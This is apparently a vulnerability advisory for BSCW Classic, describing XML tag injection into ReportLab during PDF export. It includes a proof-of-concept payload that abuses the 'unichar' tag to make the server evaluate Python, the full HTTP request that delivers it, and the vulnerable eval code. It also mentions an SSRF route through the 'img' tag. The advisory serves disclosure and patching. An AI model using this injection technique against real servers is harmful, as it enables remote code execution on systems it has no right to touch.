Vendor description
"A versatile system for any field of application BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years."
Source: https://www.bscw.de/en/classic/
Business recommendation
The vendor provides a patched version for the affected products which should be installed immediately.
Vulnerability overview/description
1) XML Tag injection
The application allows a user with low privileges to export different objects to a 'PDF' file ('Send To -> File(PDF)') via the 'exportpdf' package. To export the content of the objects the framework ReportLab is used. This library supports different tags to export structured content:
# File: reportlab/platypus/paraparser.py
!!! NOTE !!! THIS TEXT IS NOW REPLICATED IN PARAGRAPH.PY !!!
The ParaFormatter will be able to format the following tags:
< /b > - bold
< /i > - italics
< u [color="red"] [width="pts"] [offset="pts"]> < /u > - underline
width and offset can be empty meaning use existing canvas line width
or with an f/F suffix regarded as a fraction of the font size
< strike > < /strike > - strike through has the same parameters as underline
< super [size="pts"] [rise="pts"]> < /super > - superscript
< sup ="pts"] [rise="pts"]> < /sup > - superscript
< sub ="pts"] [rise="pts"]> < /sub > - subscript
<font name=fontfamily/fontname color=colorname size=float>
<span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename>
< bullet > </bullet> - bullet text (at head of para only)
<onDraw name=callable label="a label"/>
<index [name="callablecanvasattribute"] label="a label"/>
<link>link text</link>
attributes of links
size/fontSize/uwidth/uoffset=num
name/face/fontName=name
fg/textColor/color/ucolor=color
backcolor/backColor/bgcolor=color
dest/destination/target/href/link=target
underline=bool turn on underline
<a>anchor text</a>
attributes of anchors
fontSize=num
fontName=name
fg/textColor/color=color
backcolor/backColor/bgcolor=color
href=href
<a name="anchorpoint"/>
<unichar name="unicode character name"/>
<unichar value="unicode code point"/>
<img src="path" width="1in" height="1in" valign="bottom"/>
width="w%" --> fontSize*w/100 idea from Roberto Alsina
height="h%" --> linewidth*h/100 <ralsina@netmanagers.com.ar>
<greek> - </greek>
<nobr> ... </nobr> turn off word breaking and hyphenation
The whole may be surrounded by <para> </para> tagsThe application does not properly encode the user content before passing it to 'ReportLab', which allows the user to inject own tags. These tags get evaluated by the 'ReportLab'. Depending on the version of 'ReportLab' it allows the user to do a 'SSRF' (server side request forgery) attack via the 'img' tag (https://snyk.io/vuln/SNYK-PYTHON-REPORTLAB-1022145).
There are also known vulnerabilites in 'ReportLab':
This allows an attacker to execute 'Python' code via the 'unichar' tag or the 'color' attribute.
Proof of concept
1) XML Tag injection
One possible injection point is the 'description' of a folder. Using the following payload allows the execution of the 'Python' code '28+20'.
<strike>hello</strike><unichar code="28+20"/>The result of this code is '48' (ASCII: '0'), which gets written to the generated 'PDF' file.
POST /sec/bscw.cgi/1917?op=_editfolder.EditFolder HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 765
Origin: bscw.local
DNT: 1
Connection: keep-alive
Referer: bscw.local/sec/bscw.cgi/1917
Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22;
bscw_dummy_cookie=opensesame; bscw_auth="wsZjskopxMc1MSIVJq1bnn0fqKqLR9hB:108"; _sec_bscws="
45aa7a088a17c12646aaf10d670395cb:264"
Upgrade-Insecure-Requests: 1
op=editfolder.EditFolder&inside_dialog=1&bscw_v_post=cCzT8tEnZ1kR%
2FnH6gC15aLTjerCLR9hB&id=1917_2088&_selected=editfolder.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.
Chname_name=hello&_editfolder.NameTagsDescrRate_renameo.Chname_=3&_editfolder.NameTagsDescrRate_chtags.
EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags_=3&_editfolder.NameTagsDescrRate_chdescr.
Chdescr_descr=<strike>hello</strike><unichar code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.
Chdescr_=3&_editfolder.NameTagsDescrRate_=3&_approval.approval_approval_choice=approval_inherited&_approval.
approval_addactions=approval.approval.ApprovalTaskItem&_approval.
approval_=3&_autovers_maxvers=inherit&_autovers_mvnr=&_autovers_=3&_=3&__ok_.x=+++OK+++The vulnerable code in the 'ReportLab' framework:
# File: reportlab\platypus\paraparser.py
def start_unichar(self, attr):
if 'name' in attr:
if 'code' in attr:
self._syntax_error('<unichar/> invalid with both name and code attributes')
try:
v = unicodedata.lookup(attr['name'])
except KeyError:
self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))
v = '\0'
elif 'code' in attr:
try:
v = int(eval(attr['code']))
v = chr(v) if isPy3 else unichr(v)
except:
self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code']))
v = '\0'Most likely there are more injection points to include own tags, but no further actions were taken to find them.
Vulnerable / tested versions
BSCW Classic 5.2.3 has been used to identify the vulnerability. The vendor confirmed the following versions to be also affected by the vulnerability:
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
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